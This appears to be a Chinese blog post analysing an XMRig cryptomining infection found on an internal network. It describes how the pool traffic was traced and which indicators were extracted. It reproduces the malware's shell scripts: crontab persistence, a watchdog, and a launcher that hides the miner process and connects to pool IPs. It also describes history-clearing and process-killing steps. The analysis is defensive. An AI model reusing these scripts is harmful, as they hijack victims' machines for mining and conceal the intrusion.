记挖矿样本流程分析

背景:

内网发现某台主机大量资源占用,态势感知告警挖矿行为。
内网挖矿流程:
在这里插入图片描述

初步排查思路:

公网矿池为单一地址,威胁情报未标记,根据流量特征判断为矿池,可作为依据使用态势感知批量查找建立过连接的主机。
通过态势感知排查挖矿流量特征,内网传输情况。
内网多台矿池,矿池做为转发功能,资源占用较小;主要根据流量方向判断。
排查多台中病毒主机之间流量行为,有无异常,排查跳板机情况。
跳板机可能无挖矿行为,由A中病毒主机连接B正常主机再连接C中病毒主机,则主机B可能被利用。

态势感知排查该家族思路:

发现一台矿机后,定位该矿机连接的矿池;
根据该矿池,定位多台连接矿机;
逐台矿机排查是否连接多台矿池;
根据公网矿池,筛查内网矿池,或直连公网的矿机;
根据上述发现内网挖矿流量传输使用33033端口,排查内网所有33033端口连接;

挖矿流量样本:

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46iM99N18KTNafBX6X2KMP6GkmBSwLpHKfuNSuLuBvFaVNd776wvp7jC1TMiP7t5HL2Bs2ngF1UND6rcEnkwRAsA9nhJ4KH","pass":"GOLD","agent":"Java/(Update) (Linux x86_64) libuv/1.38.0 gcc/7.2.0","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz"]}}

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"7521d1cadbcfa91eec65aa16715b94ffc1c9654ba57ea2ef1a2127bca1127a83","pass":"x","agent":"XMRig/6.3.3 (Linux x86_64) libuv/1.38.0 gcc/7.3.1","url":"stratum+ssl://134.209.104.66:443","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","cn/1","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt"]}}

提取样本中特征:

134.209.104.66
pass:GOLD
pass:x
XMRIG

态势感知批量查找与134.209.104.66建立连接的主机,均感染病毒
Xmrig/6.3.3得知病毒家族、种类:
在这里插入图片描述
该家族样本默认文件名为:xmrig
主机find / -name “*xmrig*”

样本分析:

脚本c:

在这里插入图片描述
unset 删除环境变量
export 设置环境变量
HISTFILE 历史命令记录文件
HISTSIZE 历史命令记录数
HISTFILESIZE 历史命令记录文件中记录的命令数
删除计划任务
Chattr将tmp目录下文件解锁
Kill杀掉系统进程

运行起始脚本a:

pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
echo "@reboot $dir/upd >/dev/null 2>&1" >> cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null

生成dir.dir文件:

在这里插入图片描述

同级目录产生cron.d:

* * * * * /usr/include/arpa/.x/upd >/dev/null 2>&1
@reboot /usr/include/arpa/.x/upd >/dev/null 2>&1

定期执行upd 脚本文件:

#!/bin/sh
if test -r /usr/include/arpa/.x/bash.pid; then
pid=$(cat /usr/include/arpa/.x/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /usr/include/arpa/.x
./run &>/dev/null
exit 0
fi
fi

判断bash.pid文件是否为空,非空则杀掉其中的进程
防止病毒文件重复运行

Bash.pid文件:

在这里插入图片描述

执行 run脚本:

proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 51.195.221.110:443 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 51.195.221.110:443 -k >>/dev/null &
fi
echo $! > bash.pid

判断系统架构,分别执行不同的木马文件,连接地址51.195.221.110(英国 英格兰 伦敦 微步未定义)
更新bash.pid文件

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值